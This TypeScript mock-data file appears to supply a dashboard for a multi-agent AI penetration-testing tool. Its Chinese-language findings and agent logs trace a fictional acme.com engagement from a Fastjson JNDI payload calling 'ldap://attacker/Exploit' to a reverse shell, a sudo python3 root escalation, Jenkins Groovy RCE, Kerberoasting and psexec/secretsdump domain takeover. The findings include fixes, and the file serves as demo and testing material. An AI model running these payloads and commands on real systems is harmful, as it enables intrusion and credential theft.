`/api/import` 接口使用 **Fastjson 1.2.24** 解析用户可控 JSON,未开启 `safeMode`,可通过 `@type` 指定任意类触发 **JNDI 注入 → 远程命令执行**。\n\n## 影响\n\n- 攻击者无需认证即可在 DMZ Web 服务器上执行任意命令(`www-data@dmz-web01`)\n- 结合后续提权,成为进入内网的跳板\n\n## 复现步骤\n\n1. 构造 JNDI payload:\n\n```json\n{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker/Exploit","autoCommit":true}\n```\n\n2. `POST /api/import`,`Content-Type: application/json`\n3. 目标回连 dnslog,落地反弹 shell\n\n## 修复建议\n\n- 升级 Fastjson 至 **1.2.83+** 并开启 `safeMode`\n- `/api/import` 增加鉴权与来源校验\n- 出网限制:禁止业务服务器主动外联 LDAP/RMI\n', + summary: "shop.acme.com Fastjson 1.2.24 反序列化远程命令执行", + evidence: + "POST /api/import 提交 JNDI payload(@type:JdbcRowSetImpl)→ 回连 dnslog 并落地反弹 shell(www-data@dmz-web01)。", + intent_id: "i7", + task_id: "t-acme-web", + task_description: "Acme 官网与后台外部渗透", + ts: T("2026-07-25T15:40:00Z"), + }, + { + id: "f-13", + vulnclass: "Privilege Escalation", + severity: "high", + status: "pending", + summary: "DMZ 立足点 sudo NOPASSWD 错配可本地提权 root", + evidence: + "sudo -l 显示 (ALL) NOPASSWD: /usr/bin/python3 → sudo python3 -c 'os.setuid(0);os.system(\"/bin/sh\")' 直接拿 root。", + intent_id: "i8", + task_id: "t-acme-web", + task_description: "Acme 官网与后台外部渗透", + ts: T("2026-07-25T16:20:00Z"), + }, + { + id: "f-14", + vulnclass: "Network Segmentation", + severity: "medium", + status: "pending", + summary: "DMZ 主机双网卡直连内网,边界隔离失效", + evidence: "dmz-web01 第二网卡在 10.10.10.0/24,可从 DMZ 直达域控/文件服务器/Jenkins,越过网络分区。", + intent_id: "i9", + task_id: "t-acme-web", + task_description: "Acme 官网与后台外部渗透", + ts: T("2026-07-25T21:00:00Z"), + }, + { + id: "f-15", + vulnclass: "Unauthenticated RCE", + severity: "high", + status: "pending", + summary: "内部 Jenkins 未授权 Script Console 远程命令执行", + evidence: + "GET /script 无需登录即可执行 Groovy:'whoami'.execute().text → SYSTEM;并从凭据库导出域账号 acme\\svc_deploy。", + intent_id: "i11", + task_id: "t-acme-web", + task_description: "Acme 官网与后台外部渗透", + ts: T("2026-07-25T21:50:00Z"), + }, + { + id: "f-16", + vulnclass: "Kerberoasting", + severity: "high", + status: "pending", + summary: "域服务账号 svc_sql 可被 Kerberoast 且口令弱", + evidence: "GetUserSPNs 请求 svc_sql 的 TGS,hashcat -m 13100 离线破出 Sql@2020,该账号属于 SQL 管理组。", + intent_id: "i12", + task_id: "t-acme-web", + task_description: "Acme 官网与后台外部渗透", + ts: T("2026-07-25T23:20:00Z"), + }, + { + id: "f-17", + vulnclass: "Domain Compromise", + name: "内网域控 DC01 完全控制(Domain Admin)", + severity: "critical", + status: "confirmed", + report: + "## 漏洞概述\n\n经外网 Fastjson RCE 立足 DMZ,再由 sudo 提权、双网卡穿透、Jenkins 未授权 RCE 拿到域账号 `svc_deploy`;该账号属于 **Domain Admins**,最终完全控制域控 **DC01**。\n\n## 影响\n\n- 取得域管理员权限,可控制全域主机与账号\n- `secretsdump` 导出全域 NTLM 哈希(含 `krbtgt`),可制作黄金票据长期潜伏\n- 内部靶标达成\n\n## 复现步骤\n\n1. 以 `svc_deploy` 登录并导出哈希:\n\n```\npsexec.py acme/svc_deploy@10.10.10.10\nsecretsdump.py acme/svc_deploy@10.10.10.10\n```\n\n2. 获得 DC01 的 SYSTEM 权限,导出域内全部哈希\n\n## 修复建议\n\n- 收敛服务账号权限,移出 Domain Admins,落实分层管理(tiering)\n- 连续两次重置 `krbtgt`,轮换服务账号强口令\n- 修复 DMZ→内网边界隔离与前述 RCE/提权链\n", + summary: "拿下域控 DC01(Domain Admin)—— 内部靶标达成", + evidence: + "svc_deploy 属于 Domain Admins,psexec.py 以其登录 DC01 得 SYSTEM,secretsdump 导出全域 NTLM 哈希(含 krbtgt),完成靶标控制。", + intent_id: "i13", + task_id: "t-acme-web", + task_description: "Acme 官网与后台外部渗透", + ts: T("2026-07-26T00:20:00Z"), + }, ]; // ── Exploration graph (active task) ────────────────────────────────────────── @@ -189,63 +788,407 @@ const P = (o: Record) => JSON.stringify(o); export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = { nodes: [ - { id: "root", type: "fact", payload: P({ summary: "根:acme.com 外网→内网纵深渗透" }), priority: 0, state: "origin", origin: "system", ts: T("2026-07-24T09:12:00Z") }, + { + id: "root", + type: "fact", + payload: P({ summary: "根:acme.com 外网→内网纵深渗透" }), + priority: 0, + state: "origin", + origin: "system", + ts: T("2026-07-24T09:12:00Z"), + }, // ── 目标(由 goals agent 拆解,随发现逐步加码到内网靶标)── - { id: "g1", type: "goal", payload: P({ text: "获取 acme.com 后台管理权限" }), priority: 9, state: "met", origin: "goals", ts: T("2026-07-24T09:13:00Z") }, - { id: "g2", type: "goal", payload: P({ text: "读取用户敏感数据" }), priority: 8, state: "open", origin: "goals", ts: T("2026-07-24T09:13:00Z") }, - { id: "g3", type: "goal", payload: P({ text: "从外网突破 DMZ,建立内网立足点" }), priority: 9, state: "met", origin: "goals", ts: T("2026-07-25T14:10:00Z") }, - { id: "g4", type: "goal", payload: P({ text: "内网横向,拿下内部靶标域控 DC01" }), priority: 10, state: "met", origin: "goals", ts: T("2026-07-25T20:00:00Z") }, + { + id: "g1", + type: "goal", + payload: P({ text: "获取 acme.com 后台管理权限" }), + priority: 9, + state: "met", + origin: "goals", + ts: T("2026-07-24T09:13:00Z"), + }, + { + id: "g2", + type: "goal", + payload: P({ text: "读取用户敏感数据" }), + priority: 8, + state: "open", + origin: "goals", + ts: T("2026-07-24T09:13:00Z"), + }, + { + id: "g3", + type: "goal", + payload: P({ text: "从外网突破 DMZ,建立内网立足点" }), + priority: 9, + state: "met", + origin: "goals", + ts: T("2026-07-25T14:10:00Z"), + }, + { + id: "g4", + type: "goal", + payload: P({ text: "内网横向,拿下内部靶标域控 DC01" }), + priority: 10, + state: "met", + origin: "goals", + ts: T("2026-07-25T20:00:00Z"), + }, // ── 第 1 层 · 外网侦察 / 外部漏洞 ── - { id: "i1", type: "intent", payload: P({ summary: "acme.com 子域枚举与端口扫描" }), priority: 6, state: "done", origin: "planner", ts: T("2026-07-24T09:20:00Z") }, - { id: "i2", type: "intent", payload: P({ summary: "admin 后台默认口令 / 弱口令测试" }), priority: 9, state: "done", origin: "planner", ts: T("2026-07-26T03:30:00Z") }, - { id: "i3", type: "intent", payload: P({ summary: "枚举后台功能与用户数据接口" }), priority: 8, state: "running", origin: "planner", ts: T("2026-07-26T03:55:00Z") }, - { id: "i4", type: "intent", payload: P({ summary: "www.acme.com/search 页 SQL 注入探测" }), priority: 8, state: "done", origin: "planner", ts: T("2026-07-25T22:00:00Z") }, - { id: "i5", type: "intent", payload: P({ summary: "api.acme.com 订单接口越权(IDOR)测试" }), priority: 8, state: "running", origin: "planner", ts: T("2026-07-26T02:30:00Z") }, - { id: "ig", type: "intent", payload: P({ summary: "www.acme.com .git 源码泄露与硬编码凭据提取" }), priority: 7, state: "done", origin: "planner", ts: T("2026-07-25T20:20:00Z") }, + { + id: "i1", + type: "intent", + payload: P({ summary: "acme.com 子域枚举与端口扫描" }), + priority: 6, + state: "done", + origin: "planner", + ts: T("2026-07-24T09:20:00Z"), + }, + { + id: "i2", + type: "intent", + payload: P({ summary: "admin 后台默认口令 / 弱口令测试" }), + priority: 9, + state: "done", + origin: "planner", + ts: T("2026-07-26T03:30:00Z"), + }, + { + id: "i3", + type: "intent", + payload: P({ summary: "枚举后台功能与用户数据接口" }), + priority: 8, + state: "running", + origin: "planner", + ts: T("2026-07-26T03:55:00Z"), + }, + { + id: "i4", + type: "intent", + payload: P({ summary: "www.acme.com/search 页 SQL 注入探测" }), + priority: 8, + state: "done", + origin: "planner", + ts: T("2026-07-25T22:00:00Z"), + }, + { + id: "i5", + type: "intent", + payload: P({ summary: "api.acme.com 订单接口越权(IDOR)测试" }), + priority: 8, + state: "running", + origin: "planner", + ts: T("2026-07-26T02:30:00Z"), + }, + { + id: "ig", + type: "intent", + payload: P({ summary: "www.acme.com .git 源码泄露与硬编码凭据提取" }), + priority: 7, + state: "done", + origin: "planner", + ts: T("2026-07-25T20:20:00Z"), + }, // ── 第 2 层 · 突破 DMZ 建立立足点 ── - { id: "i6", type: "intent", payload: P({ summary: "shop.acme.com 组件指纹识别与 CVE 关联" }), priority: 7, state: "done", origin: "planner", ts: T("2026-07-25T14:20:00Z") }, - { id: "i7", type: "intent", payload: P({ summary: "触发 shop 反序列化 RCE,获取反弹 shell" }), priority: 9, state: "done", origin: "planner", ts: T("2026-07-25T15:10:00Z") }, - { id: "i8", type: "intent", payload: P({ summary: "DMZ 立足点本地信息收集与提权至 root" }), priority: 8, state: "done", origin: "planner", ts: T("2026-07-25T16:00:00Z") }, + { + id: "i6", + type: "intent", + payload: P({ summary: "shop.acme.com 组件指纹识别与 CVE 关联" }), + priority: 7, + state: "done", + origin: "planner", + ts: T("2026-07-25T14:20:00Z"), + }, + { + id: "i7", + type: "intent", + payload: P({ summary: "触发 shop 反序列化 RCE,获取反弹 shell" }), + priority: 9, + state: "done", + origin: "planner", + ts: T("2026-07-25T15:10:00Z"), + }, + { + id: "i8", + type: "intent", + payload: P({ summary: "DMZ 立足点本地信息收集与提权至 root" }), + priority: 8, + state: "done", + origin: "planner", + ts: T("2026-07-25T16:00:00Z"), + }, // ── 第 3 层 · 内网横向纵深(多层测试)── - { id: "i9", type: "intent", payload: P({ summary: "以立足点为 pivot 做内网主机发现" }), priority: 8, state: "done", origin: "planner", ts: T("2026-07-25T20:30:00Z") }, - { id: "i10", type: "intent", payload: P({ summary: "内网凭据复用与密码喷洒" }), priority: 8, state: "running", origin: "planner", ts: T("2026-07-26T03:40:00Z") }, - { id: "i11", type: "intent", payload: P({ summary: "内部 Jenkins 未授权 Groovy 脚本执行(RCE)" }), priority: 9, state: "done", origin: "planner", ts: T("2026-07-25T21:30:00Z") }, - { id: "i12", type: "intent", payload: P({ summary: "对域服务账号做 Kerberoasting 并离线破解" }), priority: 8, state: "done", origin: "planner", ts: T("2026-07-25T22:40:00Z") }, - { id: "i13", type: "intent", payload: P({ summary: "用域管理员凭据登录并控制域控 DC01" }), priority: 10, state: "done", origin: "planner", ts: T("2026-07-25T23:50:00Z") }, + { + id: "i9", + type: "intent", + payload: P({ summary: "以立足点为 pivot 做内网主机发现" }), + priority: 8, + state: "done", + origin: "planner", + ts: T("2026-07-25T20:30:00Z"), + }, + { + id: "i10", + type: "intent", + payload: P({ summary: "内网凭据复用与密码喷洒" }), + priority: 8, + state: "running", + origin: "planner", + ts: T("2026-07-26T03:40:00Z"), + }, + { + id: "i11", + type: "intent", + payload: P({ summary: "内部 Jenkins 未授权 Groovy 脚本执行(RCE)" }), + priority: 9, + state: "done", + origin: "planner", + ts: T("2026-07-25T21:30:00Z"), + }, + { + id: "i12", + type: "intent", + payload: P({ summary: "对域服务账号做 Kerberoasting 并离线破解" }), + priority: 8, + state: "done", + origin: "planner", + ts: T("2026-07-25T22:40:00Z"), + }, + { + id: "i13", + type: "intent", + payload: P({ summary: "用域管理员凭据登录并控制域控 DC01" }), + priority: 10, + state: "done", + origin: "planner", + ts: T("2026-07-25T23:50:00Z"), + }, // ── 事实 ── - { id: "fa1", type: "fact", payload: P({ summary: "发现子域 admin.acme.com(Element-UI 后台)" }), priority: 0, state: "open", origin: "work#1", ts: T("2026-07-24T09:40:00Z") }, - { id: "fa2", type: "fact", payload: P({ summary: "search 页 q 参数为 error-based 注入点(MSSQL)" }), priority: 0, state: "open", origin: "work#4", ts: T("2026-07-25T22:05:00Z") }, - { id: "faGit", type: "fact", payload: P({ summary: ".git 可下载,git-dumper 还原出后端源码" }), priority: 0, state: "open", origin: "workG", ts: T("2026-07-25T20:30:00Z") }, - { id: "faCreds", type: "fact", payload: P({ summary: "源码 config.php 硬编码 DB 口令 sa / Acme@2021(疑似内网通用)" }), priority: 0, state: "open", origin: "workG", ts: T("2026-07-25T20:35:00Z") }, - { id: "fa3", type: "fact", payload: P({ summary: "shop 指纹命中 Fastjson 1.2.24(存在已知反序列化 RCE)" }), priority: 0, state: "open", origin: "work#6", ts: T("2026-07-25T14:40:00Z") }, - { id: "fa4", type: "fact", payload: P({ summary: "反弹 shell 成功:www-data@dmz-web01(10.0.20.15),位于 DMZ 段" }), priority: 0, state: "open", origin: "work#7", ts: T("2026-07-25T15:40:00Z") }, - { id: "fa5", type: "fact", payload: P({ summary: "sudo -l:(ALL) NOPASSWD: /usr/bin/python3 → 可提权 root" }), priority: 0, state: "open", origin: "work#8", ts: T("2026-07-25T16:20:00Z") }, - { id: "fa6", type: "fact", payload: P({ summary: "立足点第二网卡直连内网 10.10.10.0/24(跨越 DMZ 边界)" }), priority: 0, state: "open", origin: "work#9", ts: T("2026-07-25T20:40:00Z") }, - { id: "fa7", type: "fact", payload: P({ summary: "内网存活:10.10.10.10 DC01(域控) / 10.10.10.5 FS01(SMB) / 10.10.10.20 JENKINS" }), priority: 0, state: "open", origin: "work#9", ts: T("2026-07-25T21:00:00Z") }, - { id: "fa8", type: "fact", payload: P({ summary: "JENKINS 控制台 /script 无鉴权,可直接执行 Groovy" }), priority: 0, state: "open", origin: "work#11", ts: T("2026-07-25T21:45:00Z") }, - { id: "fa9", type: "fact", payload: P({ summary: "从 Jenkins 凭据库导出域账号 acme\\svc_deploy 明文口令" }), priority: 0, state: "open", origin: "work#11", ts: T("2026-07-25T22:10:00Z") }, - { id: "fa10", type: "fact", payload: P({ summary: "Kerberoast 到 svc_sql 的 TGS,hashcat 破出口令 Sql@2020" }), priority: 0, state: "open", origin: "work#12", ts: T("2026-07-25T23:20:00Z") }, + { + id: "fa1", + type: "fact", + payload: P({ summary: "发现子域 admin.acme.com(Element-UI 后台)" }), + priority: 0, + state: "open", + origin: "work#1", + ts: T("2026-07-24T09:40:00Z"), + }, + { + id: "fa2", + type: "fact", + payload: P({ summary: "search 页 q 参数为 error-based 注入点(MSSQL)" }), + priority: 0, + state: "open", + origin: "work#4", + ts: T("2026-07-25T22:05:00Z"), + }, + { + id: "faGit", + type: "fact", + payload: P({ summary: ".git 可下载,git-dumper 还原出后端源码" }), + priority: 0, + state: "open", + origin: "workG", + ts: T("2026-07-25T20:30:00Z"), + }, + { + id: "faCreds", + type: "fact", + payload: P({ summary: "源码 config.php 硬编码 DB 口令 sa / Acme@2021(疑似内网通用)" }), + priority: 0, + state: "open", + origin: "workG", + ts: T("2026-07-25T20:35:00Z"), + }, + { + id: "fa3", + type: "fact", + payload: P({ summary: "shop 指纹命中 Fastjson 1.2.24(存在已知反序列化 RCE)" }), + priority: 0, + state: "open", + origin: "work#6", + ts: T("2026-07-25T14:40:00Z"), + }, + { + id: "fa4", + type: "fact", + payload: P({ summary: "反弹 shell 成功:www-data@dmz-web01(10.0.20.15),位于 DMZ 段" }), + priority: 0, + state: "open", + origin: "work#7", + ts: T("2026-07-25T15:40:00Z"), + }, + { + id: "fa5", + type: "fact", + payload: P({ summary: "sudo -l:(ALL) NOPASSWD: /usr/bin/python3 → 可提权 root" }), + priority: 0, + state: "open", + origin: "work#8", + ts: T("2026-07-25T16:20:00Z"), + }, + { + id: "fa6", + type: "fact", + payload: P({ summary: "立足点第二网卡直连内网 10.10.10.0/24(跨越 DMZ 边界)" }), + priority: 0, + state: "open", + origin: "work#9", + ts: T("2026-07-25T20:40:00Z"), + }, + { + id: "fa7", + type: "fact", + payload: P({ summary: "内网存活:10.10.10.10 DC01(域控) / 10.10.10.5 FS01(SMB) / 10.10.10.20 JENKINS" }), + priority: 0, + state: "open", + origin: "work#9", + ts: T("2026-07-25T21:00:00Z"), + }, + { + id: "fa8", + type: "fact", + payload: P({ summary: "JENKINS 控制台 /script 无鉴权,可直接执行 Groovy" }), + priority: 0, + state: "open", + origin: "work#11", + ts: T("2026-07-25T21:45:00Z"), + }, + { + id: "fa9", + type: "fact", + payload: P({ summary: "从 Jenkins 凭据库导出域账号 acme\\svc_deploy 明文口令" }), + priority: 0, + state: "open", + origin: "work#11", + ts: T("2026-07-25T22:10:00Z"), + }, + { + id: "fa10", + type: "fact", + payload: P({ summary: "Kerberoast 到 svc_sql 的 TGS,hashcat 破出口令 Sql@2020" }), + priority: 0, + state: "open", + origin: "work#12", + ts: T("2026-07-25T23:20:00Z"), + }, // ── 漏洞 ── - { id: "fi1", type: "finding", payload: P({ summary: "后台默认口令 admin/admin123" }), priority: 0, state: "confirmed", origin: "work#2", ts: T("2026-07-26T03:50:00Z") }, - { id: "fi2", type: "finding", payload: P({ summary: "SQL 注入(search q)可读 acme_prod 库" }), priority: 0, state: "confirmed", origin: "work#4", ts: T("2026-07-26T01:20:00Z") }, - { id: "fi3", type: "finding", payload: P({ summary: "IDOR:/v1/orders?id= 可越权读他人订单" }), priority: 0, state: "confirmed", origin: "work#5", ts: T("2026-07-26T02:44:00Z") }, - { id: "fiSrc", type: "finding", payload: P({ summary: "源码泄露 + 硬编码数据库凭据(sa/Acme@2021)" }), priority: 0, state: "confirmed", origin: "workG", ts: T("2026-07-25T20:36:00Z") }, - { id: "fiRce", type: "finding", payload: P({ summary: "shop Fastjson 反序列化 RCE,获得服务器命令执行" }), priority: 0, state: "confirmed", origin: "work#7", ts: T("2026-07-25T15:40:00Z") }, - { id: "fiPriv", type: "finding", payload: P({ summary: "DMZ 立足点本地提权至 root(sudo NOPASSWD 错配)" }), priority: 0, state: "confirmed", origin: "work#8", ts: T("2026-07-25T16:20:00Z") }, - { id: "fiJenkins", type: "finding", payload: P({ summary: "内部 Jenkins 未授权 Groovy → 服务器 RCE" }), priority: 0, state: "confirmed", origin: "work#11", ts: T("2026-07-25T21:50:00Z") }, - { id: "fiKerb", type: "finding", payload: P({ summary: "Kerberoasting 破解域服务账号 svc_sql 口令" }), priority: 0, state: "confirmed", origin: "work#12", ts: T("2026-07-25T23:20:00Z") }, - { id: "fiDC", type: "finding", payload: P({ summary: "拿下域控 DC01(Domain Admin)—— 内部靶标达成" }), priority: 0, state: "confirmed", origin: "work#13", ts: T("2026-07-26T00:20:00Z") }, + { + id: "fi1", + type: "finding", + payload: P({ summary: "后台默认口令 admin/admin123" }), + priority: 0, + state: "confirmed", + origin: "work#2", + ts: T("2026-07-26T03:50:00Z"), + }, + { + id: "fi2", + type: "finding", + payload: P({ summary: "SQL 注入(search q)可读 acme_prod 库" }), + priority: 0, + state: "confirmed", + origin: "work#4", + ts: T("2026-07-26T01:20:00Z"), + }, + { + id: "fi3", + type: "finding", + payload: P({ summary: "IDOR:/v1/orders?id= 可越权读他人订单" }), + priority: 0, + state: "confirmed", + origin: "work#5", + ts: T("2026-07-26T02:44:00Z"), + }, + { + id: "fiSrc", + type: "finding", + payload: P({ summary: "源码泄露 + 硬编码数据库凭据(sa/Acme@2021)" }), + priority: 0, + state: "confirmed", + origin: "workG", + ts: T("2026-07-25T20:36:00Z"), + }, + { + id: "fiRce", + type: "finding", + payload: P({ summary: "shop Fastjson 反序列化 RCE,获得服务器命令执行" }), + priority: 0, + state: "confirmed", + origin: "work#7", + ts: T("2026-07-25T15:40:00Z"), + }, + { + id: "fiPriv", + type: "finding", + payload: P({ summary: "DMZ 立足点本地提权至 root(sudo NOPASSWD 错配)" }), + priority: 0, + state: "confirmed", + origin: "work#8", + ts: T("2026-07-25T16:20:00Z"), + }, + { + id: "fiJenkins", + type: "finding", + payload: P({ summary: "内部 Jenkins 未授权 Groovy → 服务器 RCE" }), + priority: 0, + state: "confirmed", + origin: "work#11", + ts: T("2026-07-25T21:50:00Z"), + }, + { + id: "fiKerb", + type: "finding", + payload: P({ summary: "Kerberoasting 破解域服务账号 svc_sql 口令" }), + priority: 0, + state: "confirmed", + origin: "work#12", + ts: T("2026-07-25T23:20:00Z"), + }, + { + id: "fiDC", + type: "finding", + payload: P({ summary: "拿下域控 DC01(Domain Admin)—— 内部靶标达成" }), + priority: 0, + state: "confirmed", + origin: "work#13", + ts: T("2026-07-26T00:20:00Z"), + }, // ── 提示(主 agent 注入)── - { id: "h1", type: "hint", payload: P({ summary: "后台是 Element-UI,优先跑默认口令表" }), priority: 5, state: "consumed", origin: "mainagent", ts: T("2026-07-26T03:20:00Z") }, - { id: "h2", type: "hint", payload: P({ summary: "内网优先打 Jenkins:未授权 /script 直接 Groovy RCE" }), priority: 6, state: "consumed", origin: "mainagent", ts: T("2026-07-25T21:20:00Z") }, - { id: "h3", type: "hint", payload: P({ summary: "源码里那组 DB 口令拿去内网喷洒,大概率通用" }), priority: 6, state: "consumed", origin: "mainagent", ts: T("2026-07-25T23:10:00Z") }, + { + id: "h1", + type: "hint", + payload: P({ summary: "后台是 Element-UI,优先跑默认口令表" }), + priority: 5, + state: "consumed", + origin: "mainagent", + ts: T("2026-07-26T03:20:00Z"), + }, + { + id: "h2", + type: "hint", + payload: P({ summary: "内网优先打 Jenkins:未授权 /script 直接 Groovy RCE" }), + priority: 6, + state: "consumed", + origin: "mainagent", + ts: T("2026-07-25T21:20:00Z"), + }, + { + id: "h3", + type: "hint", + payload: P({ summary: "源码里那组 DB 口令拿去内网喷洒,大概率通用" }), + priority: 6, + state: "consumed", + origin: "mainagent", + ts: T("2026-07-25T23:10:00Z"), + }, ], edges: [ // 根 → 目标 @@ -311,7 +1254,9 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = { }; export const intents: TaskNode[] = explorationGraph.nodes.filter((n) => n.type === "intent"); -export const frontier: TaskNode[] = explorationGraph.nodes.filter((n) => n.type === "intent" && (n.state === "open" || n.state === "running")); +export const frontier: TaskNode[] = explorationGraph.nodes.filter( + (n) => n.type === "intent" && (n.state === "open" || n.state === "running"), +); // ── Activity(执行过程)───────────────────────────────────────────────────── // 会话由 sessions-tab 从「意图」派生(session.id = intent.id),transcript = 匹配 @@ -320,157 +1265,1181 @@ export const frontier: TaskNode[] = explorationGraph.nodes.filter((n) => n.type export const activity: Activity[] = [ // planner { seq: 1, worker: "planner", ts: T("2026-07-24T09:12:10Z"), kind: "round", summary: "第 0 轮 · 目标拆解" }, - { seq: 2, worker: "planner", ts: T("2026-07-24T09:12:30Z"), kind: "thinking", summary: "acme.com 是企业站,攻击面:官网(www)、后台(admin)、API(api)、商城(shop)。先枚举资产,再挑高价值目标。" }, - { seq: 3, worker: "planner", ts: T("2026-07-24T09:13:00Z"), kind: "text", summary: "拆出两个目标:① 获取后台管理权限 ② 读取用户敏感数据。派生首批意图:子域枚举、后台口令测试、注入探测、API 越权。" }, + { + seq: 2, + worker: "planner", + ts: T("2026-07-24T09:12:30Z"), + kind: "thinking", + summary: "acme.com 是企业站,攻击面:官网(www)、后台(admin)、API(api)、商城(shop)。先枚举资产,再挑高价值目标。", + }, + { + seq: 3, + worker: "planner", + ts: T("2026-07-24T09:13:00Z"), + kind: "text", + summary: + "拆出两个目标:① 获取后台管理权限 ② 读取用户敏感数据。派生首批意图:子域枚举、后台口令测试、注入探测、API 越权。", + }, { seq: 300, worker: "planner", ts: T("2026-07-25T14:12:00Z"), kind: "round", summary: "第 1 轮 · 攻击面加码" }, - { seq: 301, worker: "planner", ts: T("2026-07-25T14:12:20Z"), kind: "text", summary: ".git 泄露出源码+硬编码 DB 口令,shop 指纹疑似 Fastjson。新增目标③「突破 DMZ 建立内网立足点」,派生指纹关联、反序列化 RCE 两条意图。" }, - { seq: 302, worker: "planner", ts: T("2026-07-25T20:25:00Z"), kind: "round", summary: "第 2 轮 · 立足点已建,转内网" }, - { seq: 303, worker: "planner", ts: T("2026-07-25T20:26:00Z"), kind: "text", summary: "RCE 拿到 www-data 并提权 root,立足点双网卡直连 10.10.10.0/24(g3 达成)。新增目标④「拿下内部靶标 DC01」,派生内网主机发现、凭据复用、Jenkins 利用、Kerberoasting 四条意图。" }, + { + seq: 301, + worker: "planner", + ts: T("2026-07-25T14:12:20Z"), + kind: "text", + summary: + ".git 泄露出源码+硬编码 DB 口令,shop 指纹疑似 Fastjson。新增目标③「突破 DMZ 建立内网立足点」,派生指纹关联、反序列化 RCE 两条意图。", + }, + { + seq: 302, + worker: "planner", + ts: T("2026-07-25T20:25:00Z"), + kind: "round", + summary: "第 2 轮 · 立足点已建,转内网", + }, + { + seq: 303, + worker: "planner", + ts: T("2026-07-25T20:26:00Z"), + kind: "text", + summary: + "RCE 拿到 www-data 并提权 root,立足点双网卡直连 10.10.10.0/24(g3 达成)。新增目标④「拿下内部靶标 DC01」,派生内网主机发现、凭据复用、Jenkins 利用、Kerberoasting 四条意图。", + }, { seq: 304, worker: "planner", ts: T("2026-07-26T00:25:00Z"), kind: "round", summary: "第 3 轮 · 靶标达成复盘" }, - { seq: 305, worker: "planner", ts: T("2026-07-26T00:26:00Z"), kind: "text", summary: "svc_deploy 属于 Domain Admins,已 psexec 拿下 DC01 并 secretsdump 全域哈希(g4 达成)。内外网链路打通,收敛剩余 g2(后台批量用户数据)。" }, + { + seq: 305, + worker: "planner", + ts: T("2026-07-26T00:26:00Z"), + kind: "text", + summary: + "svc_deploy 属于 Domain Admins,已 psexec 拿下 DC01 并 secretsdump 全域哈希(g4 达成)。内外网链路打通,收敛剩余 g2(后台批量用户数据)。", + }, { seq: 4, worker: "planner", ts: T("2026-07-26T03:55:00Z"), kind: "round", summary: "第 4 轮 · 复盘" }, - { seq: 5, worker: "planner", ts: T("2026-07-26T03:55:10Z"), kind: "text", summary: "后台已拿下(g1 达成)。继续 g2:派生「枚举后台用户接口」「API IDOR 测试」两条意图并提高优先级。" }, + { + seq: 5, + worker: "planner", + ts: T("2026-07-26T03:55:10Z"), + kind: "text", + summary: "后台已拿下(g1 达成)。继续 g2:派生「枚举后台用户接口」「API IDOR 测试」两条意图并提高优先级。", + }, // work#1 · i1 子域枚举与端口扫描(done) - { seq: 10, worker: "work#1", intent_id: "i1", ts: T("2026-07-24T09:20:00Z"), kind: "thinking", summary: "先被动侦察子域,再对存活主机做端口/服务识别。" }, - { seq: 11, worker: "work#1", intent_id: "i1", ts: T("2026-07-24T09:20:30Z"), kind: "tool_use", tool: "bash", tool_use_id: "t11", summary: "subfinder -d acme.com -silent | httpx -silent -sc -title" }, - { seq: 12, worker: "work#1", intent_id: "i1", ts: T("2026-07-24T09:22:10Z"), kind: "tool_result", tool: "bash", tool_use_id: "t11", summary: "www.acme.com [200] Acme Corp\nadmin.acme.com [200] Acme Admin 登录\napi.acme.com [401]\nshop.acme.com [200]\nvpn.acme.com [200]", detail: "5 个存活子域,其中 admin 是后台登录页。" }, - { seq: 13, worker: "work#1", intent_id: "i1", ts: T("2026-07-24T09:23:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t12", summary: "nmap -sV -T4 -p- 203.0.113.10" }, - { seq: 14, worker: "work#1", intent_id: "i1", ts: T("2026-07-24T09:26:40Z"), kind: "tool_result", tool: "bash", tool_use_id: "t12", summary: "22/tcp ssh OpenSSH 8.9p1\n80/tcp http nginx 1.24.0\n443/tcp https nginx 1.24.0", detail: "开放 22/80/443。" }, - { seq: 15, worker: "work#1", intent_id: "i1", ts: T("2026-07-24T09:27:00Z"), kind: "tool_use", tool: "upsert_asset", tool_use_id: "t13", summary: "upsert_asset × 6(子域+服务)" }, - { seq: 16, worker: "work#1", intent_id: "i1", ts: T("2026-07-24T09:27:01Z"), kind: "tool_result", tool: "upsert_asset", tool_use_id: "t13", summary: "6 assets upserted" }, - { seq: 17, worker: "work#1", intent_id: "i1", ts: T("2026-07-24T09:40:00Z"), kind: "result", summary: "资产侦察完成,发现后台 admin.acme.com,交回图。", input_tokens: 96000, output_tokens: 6100, cache_read_tokens: 61000, cache_write_tokens: 9000 }, + { + seq: 10, + worker: "work#1", + intent_id: "i1", + ts: T("2026-07-24T09:20:00Z"), + kind: "thinking", + summary: "先被动侦察子域,再对存活主机做端口/服务识别。", + }, + { + seq: 11, + worker: "work#1", + intent_id: "i1", + ts: T("2026-07-24T09:20:30Z"), + kind: "tool_use", + tool: "bash", + tool_use_id: "t11", + summary: "subfinder -d acme.com -silent | httpx -silent -sc -title", + }, + { + seq: 12, + worker: "work#1", + intent_id: "i1", + ts: T("2026-07-24T09:22:10Z"), + kind: "tool_result", + tool: "bash", + tool_use_id: "t11", + summary: + "www.acme.com [200] Acme Corp\nadmin.acme.com [200] Acme Admin 登录\napi.acme.com [401]\nshop.acme.com [200]\nvpn.acme.com [200]", + detail: "5 个存活子域,其中 admin 是后台登录页。", + }, + { + seq: 13, + worker: "work#1", + intent_id: "i1", + ts: T("2026-07-24T09:23:00Z"), + kind: "tool_use", + tool: "bash", + tool_use_id: "t12", + summary: "nmap -sV -T4 -p- 203.0.113.10", + }, + { + seq: 14, + worker: "work#1", + intent_id: "i1", + ts: T("2026-07-24T09:26:40Z"), + kind: "tool_result", + tool: "bash", + tool_use_id: "t12", + summary: "22/tcp ssh OpenSSH 8.9p1\n80/tcp http nginx 1.24.0\n443/tcp https nginx 1.24.0", + detail: "开放 22/80/443。", + }, + { + seq: 15, + worker: "work#1", + intent_id: "i1", + ts: T("2026-07-24T09:27:00Z"), + kind: "tool_use", + tool: "upsert_asset", + tool_use_id: "t13", + summary: "upsert_asset × 6(子域+服务)", + }, + { + seq: 16, + worker: "work#1", + intent_id: "i1", + ts: T("2026-07-24T09:27:01Z"), + kind: "tool_result", + tool: "upsert_asset", + tool_use_id: "t13", + summary: "6 assets upserted", + }, + { + seq: 17, + worker: "work#1", + intent_id: "i1", + ts: T("2026-07-24T09:40:00Z"), + kind: "result", + summary: "资产侦察完成,发现后台 admin.acme.com,交回图。", + input_tokens: 96000, + output_tokens: 6100, 